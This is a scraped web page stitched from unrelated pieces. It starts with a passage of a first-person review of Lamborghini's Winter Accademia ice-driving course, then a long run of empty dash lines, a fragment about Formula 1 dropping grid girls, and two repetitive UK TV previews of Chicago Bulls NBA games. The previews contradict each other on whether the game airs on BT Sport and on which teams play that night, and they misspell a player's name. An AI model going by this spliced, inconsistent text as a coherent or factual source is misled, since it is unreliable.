After gourmet vittles off the ice at a nearby clubhouse, we were back in the Huracán coupes, learning to swing the tail right, then left, then right again on an hourglass-shaped figure-eight course. Nailed it.
–
For anyone wondering what happens in the event that a driver loses control and plows into a snowbank, apparently Lamborghini has thought of this, too, so the answer is not much. As it turns out, snowbanks are softer than those made of dirt and rock. We witnessed a few vehicles stuff a couple of wheels or the entire nose into the snow, sometimes requiring a tow vehicle—a large Ram pickup—to chug out to the marooned car and give it a tug. But no cars seemed any the worse for it, and the only damage was to the drivers’ egos.
–
As we became more comfortable with the maneuvers, we were better able to discern how the icy surface amplifies certain innate handling attributes of the cars—particularly the quickness and the hypercommunicative nature of the steering, the effects of weight transfer from rear to front and side to side, and the rear-wheel bias of the all-wheel-drive systems available on all Lamborghinis. I imagine that exploring these limits would be possible in dry weather on asphalt, although the speeds—and the consequences for getting it wrong—would be much, much higher. This was a great place to hone one’s inner gyroscope, and these were great cars to do it in.
–
–
Our car-control skills had developed by the time we were back on the track in the Performantes again. We executed powerslides that would make Bo and Luke Duke proud and Scandinavian Flicks that set us charging out of corners like a hero. Our speed topped 70 mph on some of the straighter sections, and if 70 mph doesn’t sound fast to you, you haven’t driven a Lamborghini on ice.
–
–
–
–
–
For those who want to try it, Accademia courses are classifed as intermediate level within Lamborghini’s Squadra Corse driving and racing programs, above the beginner program, called Esperienza, that is open to prospective and first-time customers but below the Pilota program, which targets prospective racers. As such, both the Winter and Track Accademia programs are offered only to current Lamborghini owners who have already completed an Esperienza event and are willing to shell out $ 9500 for the two-day program. That sum doesn’t include airfare but, this year, included a morning of dog sledding on the departure day. Spouses were welcome but couldn’t drive unless they were also registered as participants. With only a couple dozen total attendees each year, the Winter Accademia is both exclusive and popular enough to have a waiting list. And after completing it ourselves, we can understand why.
–
–![]()
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
—
Getty Images
The controversy surrounding Formula 1’s decision to drive grid girls out of the sport is “stupid,” according to one of the most powerful men in the trade.See the rest of the story at Business Insider
See Also:
DON’T MISS: Boxing will never follow in the footsteps of Formula 1 and fire its ‘ring girls’ — here’s why
![]()
The Warriors are coming off a demoralising defeat at Oklahoma City which saw Kevin Durant face off once again with Russell Westbrook.
But Golden State rarely lose consecutive matches and will be hoping to bounce back with a win this evening against a Chicago team which have lost eight of their last nine games.
Rookie Lauri Markkanan has been the one bright spark for the Bulls this season with 14.6 points and 8.3 rebounds per game but as a team they rank bottom in the NBA for field goal percentage.
The Warriors meanwhile have been blowing past opponents and are the league leaders in points and assists per game while no team comes close to their average of 8.9 blocks per outing.
But they have given up the basketball too easily so far, ranking 28th in the NBA in turnover per game with 17.1.
Tonight’s action is scheduled to start at 3:30am GMT but unfortunately the game will not be available on TV in the UK.
BT Sport is the exclusive home of the NBA in the UK for the 2017/18 season.
They will broadcast up to seven lives games per week throughout the regular season and the first and second rounds of the playoffs, as well as every game of the conference finals and NBA Finals.
With the game not being on TV that means it will also not be available on the BT Sport app.
Alternatively you can sign up for the NBA League Pass with the option of a day pass.
The NBA League Pass lets you watch (almost) every NBA game depending on the package you select.
American viewers can catch the action online by also going for the NBA League Pass.
While the other 28 teams in the league will be out of action, the Bulls and the Lakers will be looking to impress.
Chicago (3-11) look to be on a rebuilding phase after losing Jimmy Butler and Dwayne Wade in the summer and could be on course to finish bottom of the Eastern Conference.
Rookie Lauri Markkanen has impressed since being joining as part of the Butler deal with the Minnesota Timberwolves.
Both LeBron James and Wade have been impressed with the Finnish basketball star with the Cleveland Cavaliers duo praising his shooting ability.
The Lakers are further along in their rebuild phase and have a solid base now with several exciting young stars.
Lonzo Ball has stolen most of the headlines and attention in part to his off-court fame, but Kyle Kuzma has overshadowed his team-mate so far.
Kuzma, who joined the Lakers from the Brooklyn Nets as part as the Brook Lopez-D’Angelo Russell trade, is averaging 16.5 points and 6.8 rebounds per game.
Tonight’s action is scheduled to start at 3:30am GMT and the game will be shown live on BT Sport 1.
BT Sport is the exclusive home of the NBA in the UK for the 2017/18 season.
They will broadcast up to seven lives games per week throughout the regular season and the first and second rounds of the playoffs, as well as every game of the conference finals and NBA Finals.
If you’re unable to get in front of a TV, BT Sport customers are able to watch the game live via the app.
Alternatively you can sign up for the NBA League Pass with the option of a day pass.
The NBA League Pass lets you watch every NBA game depending on the package you select.
American viewers can catch the action online by also going for the NBA League Pass.